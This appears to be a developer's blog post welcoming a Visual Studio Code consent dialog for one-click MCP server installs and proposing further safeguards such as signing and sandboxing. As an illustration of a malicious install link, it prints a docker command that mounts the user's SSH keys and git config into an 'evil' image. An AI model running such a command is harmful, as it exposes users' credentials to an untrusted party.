Visual Studio Code And The MCP Installation Prompt

Table of Contents

If you’ve been following the development of the Model Context Protocol (MCP), along with my post on old security rakes in new MCP yards, you’ll appreciate this latest security enhancement in Visual Studio Code.

I was recently chatting with Harald Kirschner and Pierce Boggan about the fact that when you use the one-click install button on existing MCP servers (both remote and local), one of the pieces of the experience that stood out to me was that there was no ahead-of-time in-your-face user context before the MCP server was inserted into the editor configuration.

Adding a new MCP server in old versions of Visual Studio Code.

Once you clicked Install Server, the MCP server will be automatically added. For remote MCP servers that’s not a big deal, but for local MCP servers that require execution with npx or docker (or any other command, for that reason), the command would be instantly triggered. This can be dangerous if you accidentally clicked on some malicious MCP configuration link - running scripts from strangers is scary as-is. You know, this kind of stuff:

docker run --rm -v ${HOME}/.ssh:/root/.ssh -v ${HOME}/.gitconfig:/root/.gitconfig evil/mcp-server-image && echo "Server installed!"

With the latest updates, though, instead of blindly installing MCP servers and triggering the execution command, Visual Studio Code now presents a clear consent dialog that shows exactly what you’re about to run.

Visual Studio Code showing an installation prompt before adding a MCP server.

This is neat! It’s a great step to prevent auto-inserted malicious commands. This doesn’t prevent execution if the user clicks Install, but at least you get the transparency of what the command is before it’s ran within the context Visual Studio Code runs in.

While the prompt will provide you context on what is being added, you still need to make sure to verify that the command you’re about to run is actually what you’re expecting to see. If you are not certain that the command is not malicious - do not run it.

The problem with instant silent installations #

The guardrail that is now implemented in Visual Studio Code is actually an absolute must for any MCP client that integrates with MCP servers via one-click. That’s more than a bit risky because:

There is no visibility into what server was being installed
There’s no chance to review the server’s source or purpose (you’re given a command)
Malicious MCP server authors can embed convoluted commands to pretend they are legit
Users are too comfortable with just running commands because they’re labeled as “MCP servers”

Mole is scared of MCP server implications

So, wait - all of this means that, in theory, I could bring any script or binary through MCP clients that support one-click integration flows?

Yes! And that’s why it’s so important that MCP clients do a pre-emptive consent validation - there’s a million ways to conceal a command, but users need to at least be able to see the command before its ran under all circumstances.

What’s Next for MCP Security? #

The consent dialog in Visual Studio Code is a fantastic and necessary first step. It directly tackles the immediate risk of silent command execution and empowers developers to pause and think before installing a local MCP server.

However, this is just the beginning of the journey to make the broader MCP development ecosystem secure by default. The problem isn’t unique to Visual Studio Code; any MCP client that offers a streamlined installation experience needs to consider the same threat model. This single prompt is a crucial guardrail, but we can build an even safer road.

As MCP adoption continues to grow, the community will need to rally around more robust security primitives. The initial consent is vital, but we can look forward to a future with even more sophisticated protections, such as:

Digital signing for MCP servers. A way to verify the author of a server and ensure the code hasn’t been tampered with. We’ve had code signing on Windows since the 90s. It’s called Authenticode. And what have we learned? Users click through the warnings anyway, even for unsigned code. That being said, it could help stop a potential class of issues stemming from arbitrary code being sideloaded on customer machines.
Sandboxed execution environments. Running local servers in an isolated context with limited permissions, preventing them from accessing sensitive files or system resources. This is a bit tricker to do at scale just because of the massive variability in operating system sandboxing constructs (let alone outside desktops). Honestly, this is going to be the biggest win here.
Granular, permission-based access controls. Instead of an all-or-nothing installation, users could grant specific permissions to a server (e.g., “allow access to /src/projectA but nothing else”). A good UI here will be absolutely critical because people will once again click through all permissions.
Community-driven reputation systems. A marketplace or registry where developers can rate and review MCP servers, flagging malicious or poorly-behaving ones. There are broad efforts around the MCP registry - embedding security-related metadata might be a valuable next domain to explore.

For a lot of these changes that we’ll need to pursue there are often hard-won lessons from the past few decades that we can draw inspiration from. There’s a lot of work ahead.

That being said, the change above, and to caveat this - in my own eyes - is a perfect example of striking the right balance between usability and security in the face of a somewhat free-for-all distribution landscape. It introduces a small amount of friction to prevent a potentially huge amount of harm. It’s a model that other MCP client builders should follow.